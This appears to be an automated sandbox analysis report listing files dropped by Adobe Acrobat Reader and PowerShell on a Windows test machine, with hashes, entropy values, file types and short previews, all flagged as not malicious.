SHA-256:	E98ADEC951A9BA25A5E8657B93120296AF79725FBCE5291EF5E7E00B04AF8C02
SHA-512:	E9D768854FA73415BF3918550F19CE1FE67B640F00BA75EE6A6ACCB9194455F5E2A2AC51614E3F7D558B73613AFEDA81E79F0C702223B82BAE0E9A34367A5864
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.649161811321092
Encrypted:	false
SSDEEP:	24:Yv6XdFB6WiwiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSA:Yvyb6hpBgkDMUJUAh8cvMA
MD5:	1877A94C5C66FF19CC65B1341449F9FB
SHA1:	A05FBD70CB9411B20AF676D3924194A2F1398B90
SHA-256:	0DBDC9044D14234CB6B6385C5C4A23CEB35C06BF7B5E383D0DB8EF355DEB3B9D
SHA-512:	92AA7EC2B4BE3B43CBE35AEFDE16630D37FEC63B901396B67A1974000424F78CAC548EB0C6D8BE693D2766BC7AD0A4A956EA688D9834EFE93013509AB96F6EF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.185950916514976
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfshHHrPeUkwRe9:YvXKXdFB69YpW7wZGUUUkee9
MD5:	43149036B8D5F76C9B8354E0DAEDF947
SHA1:	FCF2567A359A71A3566D44C579238560FC292F3F
SHA-256:	550DA33BE00B62F9B555DB43B43689430A5075961073E1663E018A41055356E1
SHA-512:	800822C46F08E6286B26208C3DD86C4242122C2AA49A79E71EA4D926D0698F60397BEE499EB03F1BD88378420D37C102E2C752B265E19CA16679E1BB6D374C92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2011638279532715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJTqgFCrPeUkwRe9:YvXKXdFB69YpW7wZGTq16Ukee9
MD5:	E38E7023E9422DB734903CD2DD95BCAA
SHA1:	2D4E00A7CF551E86CD083227F1601C962FFAB2C7
SHA-256:	BD67DB14DED6974BD177782EE5CC7EF7389457A9733841B8B9AA4D2306377F38
SHA-512:	BCBA47411FEB60E6DE210F16374FF253E1E9D7EE47410F2F0B861A37F5F19765B49A65DB3CBFF27A52221676327D0917688AED483AC6D662A86D339C4D3D6609
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143316829401919
Encrypted:	false
SSDEEP:	48:YtIwaDAoRh7lcb6QB+jPpVPlCOZKmlzS3/G9Pp7:IPaDAoRhJe6QB+jPL9CtmFS3EPp7
MD5:	20CC1EBA07CE6AC2BDD55A9341B3EDE7
SHA1:	51C73BC9D1769F3D347AA5325A00905E974A58D2
SHA-256:	2854F3E83ADFDCAD0F1A2284D5C8F398C44EB942548F66FD2A95DA795D4E2ECA
SHA-512:	CD9C32979626BA34AE0FA3FAFFD2CBFF2CD709E25C312005406B2102F25B4F00F7028E6EB4D89E509DAD3018C98C697F522E04185DA85E5B82E89B1C40566D94
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"678e0393e1b627d8927e33e70686bc66","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540265000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3c0c4748753748adcb50b407a477a6da","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540265000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"21675bbbc2eb3a5adff147457ed9b17f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540265000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d53cbb41ec5b223d9102134dc8800f06","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540265000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0a02b28005445b885b490e9b0edda36d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540265000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d93bcad7a589ebaae671e51f19e531f1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9850621736453024
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spjf4zJwtNBwtNbRZ6bRZ40fF:TVl2GL7ms6ggOVpjQzutYtp6PVt
MD5:	B880C226977421CA561E4C5BBE321A7F
SHA1:	C7318D281DDB31B81A7DCE62F2C36A54CF7DC5A5
SHA-256:	1D050000589D1105620DEAAD48218631410D99BC64042E8830C5095EBA6108D1
SHA-512:	A3062E52B42E91531ED9A9FB34607F6AF3A4C0D157E334E40236B6C224AAED51A199107836FF1BFEC8217039A1B3F0255295AE81757DC1A042AF2DAEB448D4DC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3397128090304993
Encrypted:	false
SSDEEP:	48:7Mb9GgOVpjXzutYtp6PM4pqll2GL7msWn:7+TOVpjCaypqVmsWn
MD5:	04067D86514D10BFF6314C7A9BAFB001
SHA1:	95D3817A6D520330F97062B14F9A702E90392B6A
SHA-256:	F32188B9300F0648DFF761E4A254EEF6B7EB9011C4594CE31FB74FD263F40E90
SHA-512:	F4EB6F2C9D23F2AF54A71AB8609918DB18237F00D118F68F28E1C78415806EAF12F4FEA590E82436787E37AE48D9C6E9FE56C2812A3F9DAF88DA27BB98B1D82E
Malicious:	false
Preview:	.... .c......(.^......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgaY9KO7bo52bUbTkYfg54sc+vYyu:6a6TZ44ADEaY9bb0oYfa4DkK
MD5:	8B507145908C05230460A2251B4D50C1
SHA1:	94E7E663B0C0690798EEA0F5D0963C9FA8ED5E7B
SHA-256:	050937BC43BA75DB02A9C086B8AA6ED3CC87B24624DD7CB80AEEE22DA528C686
SHA-512:	A5A6CF60E2C2DC09EC0F2ACEC5102D93D4A0772CB3B799260DF9BDF82A547A686543A1B81E88BBA890C91E381B0164F09197F2E00CEEEF2EAF5BD0CA74A3035D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa628e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5024069929195045
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERIUKw:Qw946cPbiOxDlbYnuRK+bDRIUH
MD5:	BB63A8B65732003BB4D1F3734410003F
SHA1:	E92797E0E3308781414C4A6F92B5AAD675E0EC3E
SHA-256:	15C1A93A9C6F8117BEB22DFC520D636F77DE7127A11A51DF1BEF5682530232F0
SHA-512:	6AE7937037B759617A1CE1233A03A93CD44DF55FCE2147108805ABBFD320B96C2EC462EF80080A7C662037CBE4D714868DECC509CB95BEA5D2C3583E7BBA6D13
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.1.7.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vwdmzez.oi2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_youypwtm.4xb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-17-38-971.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354451833345895
Encrypted:	false
SSDEEP:	384:mbaliM39yfCkX5ft1M+LfZEV5iDBuhh4jkYW80m6CViyQUBgIP9lO5OfKTVOc/nh:RaK
MD5:	B2CA3257A6B9DD5E158DC90B2A71E62E
SHA1:	EE4AEFF7B0EBBB92D4D95CE73CCD2049D70AFD97
SHA-256:	C52C96A6B8672A1D81314F43E539BEC8E818D0470A70AF96508088279005DE75
SHA-512:	DEF71447691AC2D4E8BE033DE9354F683629787D2A9DA1B0FFC1506AAD954D4B1FA67FD297AEE797BB027325863D153253A37DD43EA488D24F7E0B1D4C9411BE
Malicious:	false
Preview:	SessionID=56a5b943-c4ec-4d71-90fb-32d5995938dc.1736540259020 Timestamp=2025-01-10T15:17:39:020-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=56a5b943-c4ec-4d71-90fb-32d5995938dc.1736540259020 Timestamp=2025-01-10T15:17:39:035-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=56a5b943-c4ec-4d71-90fb-32d5995938dc.1736540259020 Timestamp=2025-01-10T15:17:39:036-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=56a5b943-c4ec-4d71-90fb-32d5995938dc.1736540259020 Timestamp=2025-01-10T15:17:39:036-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=56a5b943-c4ec-4d71-90fb-32d5995938dc.1736540259020 Timestamp=2025-01-10T15:17:39:036-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399133166977996
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbn:ZV
MD5:	B8F8C9C118E4BABC6A154C96E8B278FC
SHA1:	F1A8ABC713C7BBC38021F2D6D3C28138CC04A9AA
SHA-256:	F67D1FA48DBD00ACEF977A8AF353EBBD3061E1742283D63EABEC587057A07E64
SHA-512:	6465366181A1711BF0D6764E244211641C35A9771E197756007D84447BFB24F88AA8421F62635A11F4900E03B46DFFA8A232CF7F35F813601D1A0A773EE5CA1A
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\21e9eb87-7641-44a7-99ae-71998b2e24c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\32d008eb-2d9b-4b35-b017-ed101fd3b980.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\50ede58c-1576-408d-b093-746d605afeea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d5e484af-b313-4c07-945d-2e270125026f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
